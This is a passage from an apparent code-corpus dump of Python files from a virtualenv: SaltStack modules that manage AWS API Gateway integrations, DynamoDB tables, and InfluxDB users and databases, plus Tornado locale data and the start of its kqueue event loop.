__salt__['boto_iam.get_account_id'](\n region=region, key=key, keyid=keyid, profile=profile\n )\n\n return 'arn:aws:iam::{0}:role/{1}'.format(account_id, name)\n\n\ndef create_api_integration(restApiId, resourcePath, httpMethod, integrationType, integrationHttpMethod,\n uri, credentials, requestParameters=None, requestTemplates=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Creates an integration for a given method in a given API.\n If integrationType is MOCK, uri and credential parameters will be ignored.\n\n uri is in the form of (substitute APIGATEWAY_REGION and LAMBDA_FUNC_ARN)\n \"arn:aws:apigateway:APIGATEWAY_REGION:lambda:path/2015-03-31/functions/LAMBDA_FUNC_ARN/invocations\"\n\n credentials is in the form of an iam role name or role arn.\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_integration restApiId resourcePath httpMethod \\\\\n integrationType integrationHttpMethod uri credentials ['{}' ['{}']]\n\n '''\n try:\n credentials = _get_role_arn(credentials, region=region, key=key, keyid=keyid, profile=profile)\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n requestParameters = dict() if requestParameters is None else requestParameters\n requestTemplates = dict() if requestTemplates is None else requestTemplates\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n if httpMethod.lower() == 'options':\n uri = \"\"\n credentials = \"\"\n\n integration = conn.put_integration(restApiId=restApiId, resourceId=resource['id'], httpMethod=httpMethod,\n type=integrationType, integrationHttpMethod=integrationHttpMethod,\n uri=uri, credentials=credentials, requestParameters=requestParameters,\n requestTemplates=requestTemplates)\n return {'created': True, 'integration': integration}\n return {'created': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n\n\ndef create_api_integration_response(restApiId, resourcePath, httpMethod, statusCode, selectionPattern,\n responseParameters=None, responseTemplates=None,\n region=None, key=None, keyid=None, profile=None):\n '''\n Creates an integration response for a given method in a given API\n\n CLI Example:\n\n .. code-block:: bash\n\n salt myminion boto_apigateway.create_api_integration_response restApiId resourcePath httpMethod \\\\\n statusCode selectionPattern ['{}' ['{}']]\n\n '''\n try:\n resource = describe_api_resource(restApiId, resourcePath, region=region,\n key=key, keyid=keyid, profile=profile).get('resource')\n if resource:\n responseParameters = dict() if responseParameters is None else responseParameters\n responseTemplates = dict() if responseTemplates is None else responseTemplates\n\n conn = _get_conn(region=region, key=key, keyid=keyid, profile=profile)\n response = conn.put_integration_response(restApiId=restApiId, resourceId=resource['id'],\n httpMethod=httpMethod, statusCode=statusCode,\n selectionPattern=selectionPattern,\n responseParameters=responseParameters,\n responseTemplates=responseTemplates)\n return {'created': True, 'response': response}\n return {'created': False, 'error': 'no such resource'}\n except ClientError as e:\n return {'created': False, 'error': salt.utils.boto3.get_error(e)}\n", "id": "4118224", "language": "Python", "matching_score": 3.410412549972534, "max_stars_count": 0, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/modules/boto_apigateway.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nManage DynamoDB Tables\n======================\n\n.. versionadded:: 2015.5.0\n\nCreate and destroy DynamoDB tables. Be aware that this interacts with Amazon's\nservices, and so may incur charges.\n\nThis module uses ``boto``, which can be installed via package, or pip.\n\nThis module accepts explicit DynamoDB credentials but can also utilize\nIAM roles assigned to the instance through Instance Profiles. Dynamic\ncredentials are then automatically obtained from AWS API and no further\nconfiguration is necessary. More information available `here\n<http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html>`_.\n\nIf IAM roles are not used you need to specify them either in a pillar file or\nin the minion's config file:\n\n.. code-block:: yaml\n\n keyid: <KEY>\n key: <KEY>\n region: us-east-1\n\nIt's also possible to specify ``key``, ``keyid`` and ``region`` via a\nprofile, either passed in as a dict, or as a string to pull from\npillars or minion config:\n\n.. code-block:: yaml\n\n myprofile:\n keyid: <KEY>\n key: <KEY>\n region: us-east-1\n\n.. code-block:: yaml\n\n Ensure DynamoDB table does not exist:\n boto_dynamodb.absent:\n - table_name: new_table\n - keyid: <KEY>\n - key: <KEY>\n - region: us-east-1\n\n Ensure DynamoDB table exists:\n boto_dynamodb.present:\n - table_name: new_table\n - read_capacity_units: 1\n - write_capacity_units: 2\n - hash_key: primary_id\n - hash_key_data_type: N\n - range_key: start_timestamp\n - range_key_data_type: N\n - keyid: <KEY>\n - key: <KEY>\n - region: us-east-1\n - local_indexes:\n - index:\n - name: \"primary_id_end_timestamp_index\"\n - hash_key: primary_id\n - hash_key_data_type: N\n - range_key: end_timestamp\n - range_key_data_type: N\n - global_indexes:\n - index:\n - name: \"name_end_timestamp_index\"\n - hash_key: name\n - hash_key_data_type: S\n - range_key: end_timestamp\n - range_key_data_type: N\n - read_capacity_units: 3\n - write_capacity_units: 4\n\nIt's possible to specify cloudwatch alarms that will be setup along with the\nDynamoDB table. Note the alarm name will be defined by the name attribute\nprovided, plus the DynamoDB resource name.\n\n.. code-block:: yaml\n\n Ensure DynamoDB table exists:\n boto_dynamodb.present:\n - name: new_table\n - read_capacity_units: 1\n - write_capacity_units: 2\n - hash_key: primary_id\n - hash_key_data_type: N\n - range_key: start_timestamp\n - range_key_data_type: N\n - alarms:\n ConsumedWriteCapacityUnits:\n name: 'DynamoDB ConsumedWriteCapacityUnits **MANAGED BY SALT**'\n attributes:\n metric: ConsumedWriteCapacityUnits\n namespace: AWS/DynamoDB\n statistic: Sum\n comparison: '>='\n # threshold_percent is used to calculate the actual threshold\n # based on the provisioned capacity for the table.\n threshold_percent: 0.75\n period: 300\n evaluation_periods: 2\n unit: Count\n description: 'DynamoDB ConsumedWriteCapacityUnits'\n alarm_actions: [ 'arn:aws:sns:us-east-1:1234:my-alarm' ]\n insufficient_data_actions: []\n ok_actions: [ 'arn:aws:sns:us-east-1:1234:my-alarm' ]\n - keyid: <KEY>\n - key: <KEY>\n - region: us-east-1\n\nYou can also use alarms from pillars, and override values from the pillar\nalarms by setting overrides on the resource. Note that 'boto_dynamodb_alarms'\nwill be used as a default value for all resources, if defined and can be\nused to ensure alarms are always set for a resource.\n\nSetting the alarms in a pillar:\n\n.. code-block:: yaml\n\n boto_dynamodb_alarms:\n ConsumedWriteCapacityUnits:\n name: 'DynamoDB ConsumedWriteCapacityUnits **MANAGED BY SALT**'\n attributes:\n metric: ConsumedWriteCapacityUnits\n namespace: AWS/DynamoDB\n statistic: Sum\n comparison: '>='\n # threshold_percent is used to calculate the actual threshold\n # based on the provisioned capacity for the table.\n threshold_percent: 0.75\n period: 300\n evaluation_periods: 2\n unit: Count\n description: 'DynamoDB ConsumedWriteCapacityUnits'\n alarm_actions: [ 'arn:aws:sns:us-east-1:1234:my-alarm' ]\n insufficient_data_actions: []\n ok_actions: [ 'arn:aws:sns:us-east-1:1234:my-alarm' ]\n\n Ensure DynamoDB table exists:\n boto_dynamodb.present:\n - name: new_table\n - read_capacity_units: 1\n - write_capacity_units: 2\n - hash_key: primary_id\n - hash_key_data_type: N\n - range_key: start_timestamp\n - range_key_data_type: N\n - alarms:\n ConsumedWriteCapacityUnits:\n attributes:\n threshold_percent: 0.90\n period: 900\n'''\n# Import Python libs\nfrom __future__ import absolute_import\nimport datetime\nimport math\nimport sys\nimport logging\nimport copy\n\n# Import salt libs\nimport salt.ext.six as six\nimport salt.utils.dictupdate as dictupdate\n\nlogging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(name)s %(levelname)s %(message)s',\n stream=sys.stdout\n)\nlog = logging.getLogger()\n\n\ndef __virtual__():\n '''\n Only load if boto_dynamodb is available.\n '''\n ret = 'boto_dynamodb' if 'boto_dynamodb.exists' in __salt__ else False\n return ret\n\n\ndef present(name=None,\n table_name=None,\n region=None,\n key=None,\n keyid=None,\n profile=None,\n read_capacity_units=None,\n write_capacity_units=None,\n alarms=None,\n alarms_from_pillar=\"boto_dynamodb_alarms\",\n hash_key=None,\n hash_key_data_type=None,\n range_key=None,\n range_key_data_type=None,\n local_indexes=None,\n global_indexes=None,\n backup_configs_from_pillars='boto_dynamodb_backup_configs'):\n '''\n Ensure the DynamoDB table exists. Note: all properties of the table\n can only be set during table creation. Adding or changing\n indexes or key schema cannot be done after table creation\n\n name\n Name of the DynamoDB table\n\n table_name\n Name of the DynamoDB table (deprecated)\n\n region\n Region to connect to.\n\n key\n Secret key to be used.\n\n keyid\n Access key to be used.\n\n profile\n A dict with region, key and keyid, or a pillar key (string)\n that contains a dict with region, key and keyid.\n\n read_capacity_units\n The read throughput for this table\n\n write_capacity_units\n The write throughput for this table\n\n hash_key\n The name of the attribute that will be used as the hash key\n for this table\n\n hash_key_data_type\n The DynamoDB datatype of the hash key\n\n range_key\n The name of the attribute that will be used as the range key\n for this table\n\n range_key_data_type\n The DynamoDB datatype of the range key\n\n local_indexes\n The local indexes you would like to create\n\n global_indexes\n The local indexes you would like to create\n\n backup_configs_from_pillars\n Pillars to use to configure DataPipeline backups\n '''\n ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n if table_name:\n ret['warnings'] = ['boto_dynamodb.present: `table_name` is deprecated.'\n ' Please use `name` instead.']\n ret['name'] = table_name\n name = table_name\n\n comments = []\n changes_old = {}\n changes_new = {}\n\n # Ensure DynamoDB table exists\n table_exists = __salt__['boto_dynamodb.exists'](\n name,\n region,\n key,\n keyid,\n profile\n )\n if not table_exists:\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'DynamoDB table {0} is set to be created.'.format(name)\n return ret\n\n is_created = __salt__['boto_dynamodb.create_table'](\n name,\n region,\n key,\n keyid,\n profile,\n read_capacity_units,\n write_capacity_units,\n hash_key,\n hash_key_data_type,\n range_key,\n range_key_data_type,\n local_indexes,\n global_indexes\n )\n if not is_created:\n ret['result'] = False\n ret['comment'] = 'Failed to create table {0}'.format(name)\n return ret\n\n comments.append('DynamoDB table {0} was successfully created'.format(name))\n changes_new['table'] = name\n changes_new['read_capacity_units'] = read_capacity_units\n changes_new['write_capacity_units'] = write_capacity_units\n changes_new['hash_key'] = hash_key\n changes_new['hash_key_data_type'] = hash_key_data_type\n changes_new['range_key'] = range_key\n changes_new['range_key_data_type'] = range_key_data_type\n changes_new['local_indexes'] = local_indexes\n changes_new['global_indexes'] = global_indexes\n else:\n comments.append('DynamoDB table {0} exists'.format(name))\n\n # Ensure DynamoDB table provisioned throughput matches\n description = __salt__['boto_dynamodb.describe'](\n name,\n region,\n key,\n keyid,\n profile\n )\n provisioned_throughput = description.get('Table', {}).get('ProvisionedThroughput', {})\n current_write_capacity_units = provisioned_throughput.get('WriteCapacityUnits')\n current_read_capacity_units = provisioned_throughput.get('ReadCapacityUnits')\n throughput_matches = (current_write_capacity_units == write_capacity_units and\n current_read_capacity_units == read_capacity_units)\n if not throughput_matches:\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'DynamoDB table {0} is set to be updated.'.format(name)\n return ret\n\n is_updated = __salt__['boto_dynamodb.update'](\n name,\n throughput={\n 'read': read_capacity_units,\n 'write': write_capacity_units,\n },\n region=region,\n key=key,\n keyid=keyid,\n profile=profile,\n )\n if not is_updated:\n ret['result'] = False\n ret['comment'] = 'Failed to update table {0}'.format(name)\n return ret\n\n comments.append('DynamoDB table {0} was successfully updated'.format(name))\n changes_old['read_capacity_units'] = current_read_capacity_units,\n changes_old['write_capacity_units'] = current_write_capacity_units,\n changes_new['read_capacity_units'] = read_capacity_units,\n changes_new['write_capacity_units'] = write_capacity_units,\n else:\n comments.append('DynamoDB table {0} throughput matches'.format(name))\n\n _ret = _alarms_present(name, alarms, alarms_from_pillar,\n write_capacity_units, read_capacity_units,\n region, key, keyid, profile)\n ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])\n ret['comment'] = ' '.join([ret['comment'], _ret['comment']])\n if not _ret['result']:\n ret['result'] = _ret['result']\n if ret['result'] is False:\n return ret\n\n # Ensure backup datapipeline is present\n datapipeline_configs = copy.deepcopy(\n __salt__['pillar.get'](backup_configs_from_pillars, [])\n )\n for config in datapipeline_configs:\n datapipeline_ret = _ensure_backup_datapipeline_present(\n name=name,\n schedule_name=config['name'],\n period=config['period'],\n utc_hour=config['utc_hour'],\n s3_base_location=config['s3_base_location'],\n )\n if datapipeline_ret['result']:\n comments.append(datapipeline_ret['comment'])\n if datapipeline_ret.get('changes'):\n ret['changes']['backup_datapipeline_{0}'.format(config['name'])] = \\\n datapipeline_ret.get('changes'),\n else:\n ret['comment'] = datapipeline_ret['comment']\n return ret\n\n if changes_old:\n ret['changes']['old'] = changes_old\n if changes_new:\n ret['changes']['new'] = changes_new\n ret['comment'] = ',\\n'.join(comments)\n return ret\n\n\ndef _alarms_present(name, alarms, alarms_from_pillar,\n write_capacity_units, read_capacity_units,\n region, key, keyid, profile):\n '''helper method for present. ensure that cloudwatch_alarms are set'''\n # load data from alarms_from_pillar\n tmp = copy.deepcopy(\n __salt__['config.option'](alarms_from_pillar, {})\n )\n # merge with data from alarms\n if alarms:\n tmp = dictupdate.update(tmp, alarms)\n # set alarms, using boto_cloudwatch_alarm.present\n merged_return_value = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n for _, info in six.iteritems(tmp):\n # add dynamodb table to name and description\n info[\"name\"] = name + \" \" + info[\"name\"]\n info[\"attributes\"][\"description\"] = name + \" \" + info[\"attributes\"][\"description\"]\n # add dimension attribute\n info[\"attributes\"][\"dimensions\"] = {\"TableName\": [name]}\n if info[\"attributes\"][\"metric\"] == \"ConsumedWriteCapacityUnits\" \\\n and \"threshold\" not in info[\"attributes\"]:\n info[\"attributes\"][\"threshold\"] = math.ceil(write_capacity_units * info[\"attributes\"][\"threshold_percent\"])\n del info[\"attributes\"][\"threshold_percent\"]\n # the write_capacity_units is given in unit / second. So we need\n # to multiply by the period to get the proper threshold.\n # http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/MonitoringDynamoDB.html\n info[\"attributes\"][\"threshold\"] *= info[\"attributes\"][\"period\"]\n if info[\"attributes\"][\"metric\"] == \"ConsumedReadCapacityUnits\" \\\n and \"threshold\" not in info[\"attributes\"]:\n info[\"attributes\"][\"threshold\"] = math.ceil(read_capacity_units * info[\"attributes\"][\"threshold_percent\"])\n del info[\"attributes\"][\"threshold_percent\"]\n # the read_capacity_units is given in unit / second. So we need\n # to multiply by the period to get the proper threshold.\n # http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/MonitoringDynamoDB.html\n info[\"attributes\"][\"threshold\"] *= info[\"attributes\"][\"period\"]\n # set alarm\n kwargs = {\n \"name\": info[\"name\"],\n \"attributes\": info[\"attributes\"],\n \"region\": region,\n \"key\": key,\n \"keyid\": keyid,\n \"profile\": profile,\n }\n results = __states__['boto_cloudwatch_alarm.present'](**kwargs)\n if not results[\"result\"]:\n merged_return_value[\"result\"] = results[\"result\"]\n if results.get(\"changes\", {}) != {}:\n merged_return_value[\"changes\"][info[\"name\"]] = results[\"changes\"]\n if \"comment\" in results:\n merged_return_value[\"comment\"] += results[\"comment\"]\n return merged_return_value\n\n\ndef _ensure_backup_datapipeline_present(name, schedule_name, period,\n utc_hour, s3_base_location):\n\n kwargs = {\n 'name': '{0}-{1}-backup'.format(name, schedule_name),\n 'pipeline_objects': {\n 'DefaultSchedule': {\n 'name': schedule_name,\n 'fields': {\n 'period': period,\n 'type': 'Schedule',\n 'startDateTime': _next_datetime_with_utc_hour(utc_hour).isoformat(),\n }\n },\n },\n 'parameter_values': {\n 'myDDBTableName': name,\n 'myOutputS3Loc': '{0}/{1}/'.format(s3_base_location, name),\n }\n }\n return __states__['boto_datapipeline.present'](**kwargs)\n\n\ndef _next_datetime_with_utc_hour(utc_hour):\n '''Return the next future utc datetime where hour == utc_hour'''\n today = datetime.date.today()\n start_date_time = datetime.datetime(\n year=today.year,\n month=today.month,\n day=today.day,\n hour=utc_hour,\n )\n\n if start_date_time < datetime.datetime.utcnow():\n one_day = datetime.timedelta(days=1)\n start_date_time += one_day\n\n return start_date_time\n\n\ndef absent(name,\n region=None,\n key=None,\n keyid=None,\n profile=None):\n '''\n Ensure the DynamoDB table does not exist.\n\n name\n Name of the DynamoDB table.\n\n region\n Region to connect to.\n\n key\n Secret key to be used.\n\n keyid\n Access key to be used.\n\n profile\n A dict with region, key and keyid, or a pillar key (string)\n that contains a dict with region, key and keyid.\n '''\n ret = {'name': name, 'result': True, 'comment': '', 'changes': {}}\n exists = __salt__['boto_dynamodb.exists'](\n name,\n region,\n key,\n keyid,\n profile\n )\n if not exists:\n ret['comment'] = 'DynamoDB table {0} does not exist'.format(name)\n return ret\n\n if __opts__['test']:\n ret['comment'] = 'DynamoDB table {0} is set to be deleted \\\n '.format(name)\n ret['result'] = None\n return ret\n\n is_deleted = __salt__['boto_dynamodb.delete'](name, region, key, keyid, profile)\n if is_deleted:\n ret['comment'] = 'Deleted DynamoDB table {0}'.format(name)\n ret['changes'].setdefault('old', 'Table {0} exists'.format(name))\n ret['changes'].setdefault('new', 'Table {0} deleted'.format(name))\n else:\n ret['comment'] = 'Failed to delete DynamoDB table {0} \\\n '.format(name)\n ret['result'] = False\n return ret\n", "id": "1313311", "language": "Python", "matching_score": 2.604649066925049, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/states/boto_dynamodb.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nManagement of InfluxDB users\n============================\n\n(compatible with InfluxDB version 0.9+)\n'''\n\n\ndef __virtual__():\n '''\n Only load if the influxdb module is available\n '''\n if 'influxdb.db_exists' in __salt__:\n return 'influxdb_user'\n return False\n\n\ndef _changes(name, admin):\n '''\n Get necessary changes to given user account\n '''\n\n existing_user = __salt__['influxdb.user_info'](name)\n changes = {}\n\n if existing_user['admin'] != admin:\n changes['admin'] = admin\n\n return changes\n\n\ndef present(name,\n password,\n admin=False,\n **client_args):\n '''\n Ensure that given user is present.\n\n name\n Name of the user to manage\n\n password\n <PASSWORD>\n\n admin : False\n Whether the user should have cluster administration\n privileges or not.\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': 'User {0} is present and up to date'.format(name)}\n\n if not __salt__['influxdb.user_exists'](name, **client_args):\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'User {0} will be created'.format(name)\n return ret\n else:\n if __salt__['influxdb.create_user'](\n name, password, admin=admin, **client_args):\n ret['comment'] = 'Created user {0}'.format(name)\n ret['changes'][name] = 'created'\n return ret\n else:\n ret['comment'] = 'Failed to create user {0}'.format(name)\n ret['result'] = False\n return ret\n else:\n changes = _changes(name, admin)\n if changes:\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = ('The following user attributes are set to '\n 'be changed:\\n')\n for k, v in changes.items():\n ret['comment'] += u'{0}: {1}\\n'.format(k, v)\n return ret\n else:\n pre = __salt__['influxdb.user_info'](name)\n for k, v in changes.items():\n if k == 'admin':\n if v:\n __salt__['influxdb.grant_admin_privileges'](name)\n continue\n else:\n __salt__['influxdb.revoke_admin_privileges'](name)\n continue\n\n post = __salt__['influxdb.user_info'](name)\n for k in post:\n if post[k] != pre[k]:\n ret['changes'][k] = post[k]\n if ret['changes']:\n ret['comment'] = 'Updated user {0}'.format(name)\n return ret\n\n\ndef absent(name, **client_args):\n '''\n Ensure that given user is absent.\n\n name\n The name of the user to manage\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': 'User {0} is not present'.format(name)}\n\n if __salt__['influxdb.user_exists'](name, **client_args):\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'User {0} will be removed'.format(name)\n return ret\n else:\n if __salt__['influxdb.remove_user'](name, **client_args):\n ret['comment'] = 'Removed user {0}'.format(name)\n ret['changes'][name] = 'removed'\n return ret\n else:\n ret['comment'] = 'Failed to remove user {0}'.format(name)\n ret['result'] = False\n return ret\n return ret\n", "id": "1143402", "language": "Python", "matching_score": 3.5222854614257812, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/states/influxdb_user.py" }, { "content": "# -*- coding: utf-8 -*-\n'''\nManagement of Influxdb databases\n================================\n\n(compatible with InfluxDB version 0.9+)\n'''\n\n\ndef __virtual__():\n '''\n Only load if the influxdb module is available\n '''\n if 'influxdb.db_exists' in __salt__:\n return 'influxdb_database'\n return False\n\n\ndef present(name, **client_args):\n '''\n Ensure that given database is present.\n\n name\n Name of the database to create.\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': 'Database {0} is already present'.format(name)}\n\n if not __salt__['influxdb.db_exists'](name, **client_args):\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'Database {0} is absent and will be created'\\\n .format(name)\n return ret\n if __salt__['influxdb.db_create'](name, **client_args):\n ret['comment'] = 'Database {0} has been created'.format(name)\n ret['changes'][name] = 'Present'\n return ret\n else:\n ret['comment'] = 'Failed to create database {0}'.format(name)\n ret['result'] = False\n return ret\n\n return ret\n\n\ndef absent(name, **client_args):\n '''\n Ensure that given database is absent.\n\n name\n Name of the database to remove.\n '''\n ret = {'name': name,\n 'changes': {},\n 'result': True,\n 'comment': 'Database {0} is not present'.format(name)}\n\n if __salt__['influxdb.db_exists'](name, **client_args):\n if __opts__['test']:\n ret['result'] = None\n ret['comment'] = 'Database {0} is present and needs to be removed'\\\n .format(name)\n return ret\n if __salt__['influxdb.db_remove'](name, **client_args):\n ret['comment'] = 'Database {0} has been removed'.format(name)\n ret['changes'][name] = 'Absent'\n return ret\n else:\n ret['comment'] = 'Failed to remove database {0}'.format(name)\n ret['result'] = False\n return ret\n\n return ret\n", "id": "7720707", "language": "Python", "matching_score": 0.9905168414115906, "max_stars_count": 2, "path": "tests/build/virtualenv/lib/python2.7/site-packages/salt/states/influxdb_database.py" }, { "content": "#!/usr/bin/env python\n# coding: utf-8\n#\n# Copyright 2012 Facebook\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Data used by the tornado.locale module.\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, with_statement\n\nLOCALE_NAMES = {\n \"af_ZA\": {\"name_en\": u\"Afrikaans\", \"name\": u\"Afrikaans\"},\n \"am_ET\": {\"name_en\": u\"Amharic\", \"name\": u\"አማርኛ\"},\n \"ar_AR\": {\"name_en\": u\"Arabic\", \"name\": u\"العربية\"},\n \"bg_BG\": {\"name_en\": u\"Bulgarian\", \"name\": u\"Български\"},\n \"bn_IN\": {\"name_en\": u\"Bengali\", \"name\": u\"বাংলা\"},\n \"bs_BA\": {\"name_en\": u\"Bosnian\", \"name\": u\"Bosanski\"},\n \"ca_ES\": {\"name_en\": u\"Catalan\", \"name\": u\"Català\"},\n \"cs_CZ\": {\"name_en\": u\"Czech\", \"name\": u\"Čeština\"},\n \"cy_GB\": {\"name_en\": u\"Welsh\", \"name\": u\"Cymraeg\"},\n \"da_DK\": {\"name_en\": u\"Danish\", \"name\": u\"Dansk\"},\n \"de_DE\": {\"name_en\": u\"German\", \"name\": u\"Deutsch\"},\n \"el_GR\": {\"name_en\": u\"Greek\", \"name\": u\"Ελληνικά\"},\n \"en_GB\": {\"name_en\": u\"English (UK)\", \"name\": u\"English (UK)\"},\n \"en_US\": {\"name_en\": u\"English (US)\", \"name\": u\"English (US)\"},\n \"es_ES\": {\"name_en\": u\"Spanish (Spain)\", \"name\": u\"Español (España)\"},\n \"es_LA\": {\"name_en\": u\"Spanish\", \"name\": u\"Español\"},\n \"et_EE\": {\"name_en\": u\"Estonian\", \"name\": u\"Eesti\"},\n \"eu_ES\": {\"name_en\": u\"Basque\", \"name\": u\"Euskara\"},\n \"fa_IR\": {\"name_en\": u\"Persian\", \"name\": u\"فارسی\"},\n \"fi_FI\": {\"name_en\": u\"Finnish\", \"name\": u\"Suomi\"},\n \"fr_CA\": {\"name_en\": u\"French (Canada)\", \"name\": u\"Français (Canada)\"},\n \"fr_FR\": {\"name_en\": u\"French\", \"name\": u\"Français\"},\n \"ga_IE\": {\"name_en\": u\"Irish\", \"name\": u\"Gaeilge\"},\n \"gl_ES\": {\"name_en\": u\"Galician\", \"name\": u\"Galego\"},\n \"he_IL\": {\"name_en\": u\"Hebrew\", \"name\": u\"עברית\"},\n \"hi_IN\": {\"name_en\": u\"Hindi\", \"name\": u\"हिन्दी\"},\n \"hr_HR\": {\"name_en\": u\"Croatian\", \"name\": u\"Hrvatski\"},\n \"hu_HU\": {\"name_en\": u\"Hungarian\", \"name\": u\"Magyar\"},\n \"id_ID\": {\"name_en\": u\"Indonesian\", \"name\": u\"Bahasa Indonesia\"},\n \"is_IS\": {\"name_en\": u\"Icelandic\", \"name\": u\"Íslenska\"},\n \"it_IT\": {\"name_en\": u\"Italian\", \"name\": u\"Italiano\"},\n \"ja_JP\": {\"name_en\": u\"Japanese\", \"name\": u\"日本語\"},\n \"ko_KR\": {\"name_en\": u\"Korean\", \"name\": u\"한국어\"},\n \"lt_LT\": {\"name_en\": u\"Lithuanian\", \"name\": u\"Lietuvių\"},\n \"lv_LV\": {\"name_en\": u\"Latvian\", \"name\": u\"Latviešu\"},\n \"mk_MK\": {\"name_en\": u\"Macedonian\", \"name\": u\"Македонски\"},\n \"ml_IN\": {\"name_en\": u\"Malayalam\", \"name\": u\"മലയാളം\"},\n \"ms_MY\": {\"name_en\": u\"Malay\", \"name\": u\"Bahasa Melayu\"},\n \"nb_NO\": {\"name_en\": u\"Norwegian (bokmal)\", \"name\": u\"Norsk (bokmål)\"},\n \"nl_NL\": {\"name_en\": u\"Dutch\", \"name\": u\"Nederlands\"},\n \"nn_NO\": {\"name_en\": u\"Norwegian (nynorsk)\", \"name\": u\"Norsk (nynorsk)\"},\n \"pa_IN\": {\"name_en\": u\"Punjabi\", \"name\": u\"ਪੰਜਾਬੀ\"},\n \"pl_PL\": {\"name_en\": u\"Polish\", \"name\": u\"Polski\"},\n \"pt_BR\": {\"name_en\": u\"Portuguese (Brazil)\", \"name\": u\"Português (Brasil)\"},\n \"pt_PT\": {\"name_en\": u\"Portuguese (Portugal)\", \"name\": u\"Português (Portugal)\"},\n \"ro_RO\": {\"name_en\": u\"Romanian\", \"name\": u\"Română\"},\n \"ru_RU\": {\"name_en\": u\"Russian\", \"name\": u\"Русский\"},\n \"sk_SK\": {\"name_en\": u\"Slovak\", \"name\": u\"Slovenčina\"},\n \"sl_SI\": {\"name_en\": u\"Slovenian\", \"name\": u\"Slovenščina\"},\n \"sq_AL\": {\"name_en\": u\"Albanian\", \"name\": u\"Shqip\"},\n \"sr_RS\": {\"name_en\": u\"Serbian\", \"name\": u\"Српски\"},\n \"sv_SE\": {\"name_en\": u\"Swedish\", \"name\": u\"Svenska\"},\n \"sw_KE\": {\"name_en\": u\"Swahili\", \"name\": u\"Kiswahili\"},\n \"ta_IN\": {\"name_en\": u\"Tamil\", \"name\": u\"தமிழ்\"},\n \"te_IN\": {\"name_en\": u\"Telugu\", \"name\": u\"తెలుగు\"},\n \"th_TH\": {\"name_en\": u\"Thai\", \"name\": u\"ภาษาไทย\"},\n \"tl_PH\": {\"name_en\": u\"Filipino\", \"name\": u\"Filipino\"},\n \"tr_TR\": {\"name_en\": u\"Turkish\", \"name\": u\"Türkçe\"},\n \"uk_UA\": {\"name_en\": u\"Ukraini \", \"name\": u\"Українська\"},\n \"vi_VN\": {\"name_en\": u\"Vietnamese\", \"name\": u\"Tiếng Việt\"},\n \"zh_CN\": {\"name_en\": u\"Chinese (Simplified)\", \"name\": u\"中文(简体)\"},\n \"zh_TW\": {\"name_en\": u\"Chinese (Traditional)\", \"name\": u\"中文(繁體)\"},\n}\n", "id": "2060514", "language": "Python", "matching_score": 1.189017415046692, "max_stars_count": 1, "path": "tests/build/virtualenv/lib/python2.7/site-packages/tornado/_locale_data.py" }, { "content": "#!/usr/bin/env python\n#\n# Copyright 2012 Facebook\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"KQueue-based IOLoop implementation for BSD/Mac systems.\"\"\"\nfrom __future__ import absolute_import, division, print_function, with_statement\n\nimport select\n\nfrom tornado.ioloop import IOLoop, PollIOLoop\n\nassert hasattr(select, 'kqueue'), 'kqueue not supported'\n\n\nclass _KQueue(object):\n \"\"\"A kqueue-based event loop for BSD/Mac systems.\"\"\"\n def __init__(self):\n self._kqueue = select.kqueue()\n self._active = {}\n\n def fileno(self):\n return self._kqueue.fileno()\n\n def close(self):\n self._kqueue.close()\n\n def register(self, fd, events):\n if fd in self._active:\n raise IOError(\"fd %s already registered\" % fd)\n self._control(fd, events, select.KQ_EV_ADD)\n self._active[fd] = events\n\n def modify(self, fd, events):\n self.unregister(fd)\n self.register(fd, events)\n\n def unregister(self, fd):\n events = self._active.pop(fd)\n self._control(fd, events, select.KQ_EV_DELETE)\n\n def _control(self, fd, events, flags):\n kevents = []\n if events & IOLoop.WRITE:\n kevents.append(select.kevent(\n fd, filter=select.KQ_FILTER_WRITE, flags=flags))\n if events & IOLoop.READ:\n kevents.append(select.kevent(\n fd, filter=select.KQ_FILTER_READ, flags=flags))\n # Even though control() takes a list, it seems to return EINVAL\n # on Mac OS X (10.6) when there is more than one event in the 